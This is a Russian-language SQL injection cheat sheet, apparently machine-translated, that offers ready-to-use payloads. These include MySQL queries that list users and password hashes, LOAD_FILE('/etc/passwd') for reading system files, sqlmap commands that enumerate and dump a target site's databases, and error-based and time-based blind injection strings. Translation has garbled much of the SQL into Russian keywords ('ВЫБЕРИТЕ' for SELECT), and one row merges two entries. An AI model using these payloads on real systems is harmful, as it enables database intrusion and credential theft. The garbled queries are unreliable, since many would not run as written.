Памятка по SQL-инъекциям
SQL-инъекция — это распространенная уязвимость в веб-приложениях, которую можно использовать для внедрения вредоносного кода SQL в базу данных. Злоумышленник, знающий правильный синтаксис для внедрения команд SQL в серверную часть приложения, может использовать это для выполнения несанкционированных или деструктивных действий от имени целевого пользователя. Этичный хакер всегда должен проверять и выявлять потенциальные уязвимости SQL-инъекций, поскольку они являются одной из наиболее часто используемых атак в современном цифровом мире.
Вся цель Шпаргалки состоит в том, чтобы предоставить вам несколько быстрых и точных готовых к использованию команд и необходимых запросов Sqlmap, которые помогут вам с SQL-инъекциями.
Основы SQL:
С. Нет. | Параметры | SQL-запросы/примеры |
---|---|---|
1. | Версия | ВЫБЕРИТЕ @@версию; |
2. | Комментарии | / / ОУ # |
3. | Текущий пользователь | ВЫБЕРИТЕ пользователя (); || ВЫБЕРИТЕ системный_пользователь() |
4. | Список пользователей | ВЫБЕРИТЕ пользователя ИЗ mysql.user; |
5. | Список хэшей паролей | ВЫБЕРИТЕ хост, пользователя, пароль ОТ mysql.user; |
6. | Текущая база данных | ВЫБЕРИТЕ базу данных () |
7. | Список баз данных | ВЫБЕРИТЕ имя_схемы ИЗ information_schema.schemata; || ВЫБЕРИТЕ отдельный (дБ) ИЗ mysql.db |
8. | Список таблиц | ВЫБЕРИТЕ table_schema, table_name FROM information_schema.tables, ГДЕ table_schema != 'mysql' AND table_schema != 'information_schema' |
9. | Список столбцов | ВЫБЕРИТЕ table_schema, table_name, column_name FROM information_schema.columns, ГДЕ table_schema != 'mysql' AND table_schema != 'information_schema' |
10. | Найти таблицы по имени столбца | ВЫБЕРИТЕ table_schema, table_name FROM information_schema.columns WHERE column_name = 'username'; |
11. | Временная задержка | ВЫБЕРИТЕ ЭТАЛОН (1000000, MD5 ('A')); ВЫБЕРИТЕ СОН (5); # >= 5.0.12 |
12. | Локальный доступ к файлам | ОБЪЕДИНЕНИЕ ВСЕ ВЫБРАТЬ LOAD_FILE('/etc/passwd') |
13. | Имя хоста/IP-адрес | ВЫБЕРИТЕ @@имя хоста; |
14. | Создать пользователя | СОЗДАТЬ ПОЛЬЗОВАТЕЛЬСКОГО ПОЛЬЗОВАТЕЛЯ test1, ОПРЕДЕЛЕННОГО 'pass1'; |
15. | Удалить пользователя Расположение файла db | ВЫБЕРИТЕ @@datadir; |
Основные команды SQLMap:
С. Нет | Параметры | Синтаксис запросов SQLMap |
---|---|---|
1. | Атака на базу данных уязвимого веб-сайта | sqlmap -u «Уязвимый URL» -dbs |
2. | Получить таблицы из базы данных уязвимого веб-сайта | sqlmap -u «Уязвимый URL-адрес» -table -D [имя базы данных] |
3. | Чтобы получить столбцы таблицы на уязвимом веб-сайте | sqlmap -u «Уязвимый URL» -columns -D [имя базы данных] -T [имя таблицы] |
4. | Сбросить все значения таблицы Vulnerable Website | sqlmap -u «Уязвимый URL-адрес» -dump -D [имя базы данных] -T [имя таблицы] |
Атаки вручную на SQLMap:
С. Нет. | Параметры атаки вручную | Запросы/примеры SQLMap |
---|---|---|
1. | Быстрое обнаружение целых чисел | выберите 1 и строку (1,1)> (выберите количество (), concat (CONCAT (@@VERSION), 0x3a, пол (rand () 2)) x из (выберите 1 объединение выберите 2) группу по x предел 1 )) |
2. | Быстрое обнаружение STRINGS | '+(выбрать 1 и строку(1,1)>(выбрать count(),concat(CONCAT(@@VERSION),0x3a,floor(rand()2))x from (выбрать 1 объединение выбрать 2)группу по х предел 1))+' |
3. | Очистить тест SQL | product.php?id=4 product.php?id=5-1 product.php?id=4 ИЛИ 1=1 product.php?id=-1 ИЛИ 17-7=10 |
4. | Слепая SQL-инъекция | SLEEP(25)– SELECT BENCHMARK(1000000,MD5('A')); |
5. | Образец реального мира | ProductID=1 ИЛИ SLEEP(25)=0 LIMIT 1 – ProductID=1) ИЛИ SLEEP(25)=0 LIMIT 1 – ProductID=1′ ИЛИ SLEEP(25)=0 LIMIT 1 – ProductID=1′) ИЛИ SLEEP(25 )=0 LIMIT 1– ProductID=1)) OR SLEEP(25)=0 LIMIT 1– ProductID=SELECT SLEEP(25)– |
Вы также можете узнать больше о SQL-инъекциях из статьи: Как использовать SQLMAP для проверки веб-сайта на уязвимость SQL-инъекций.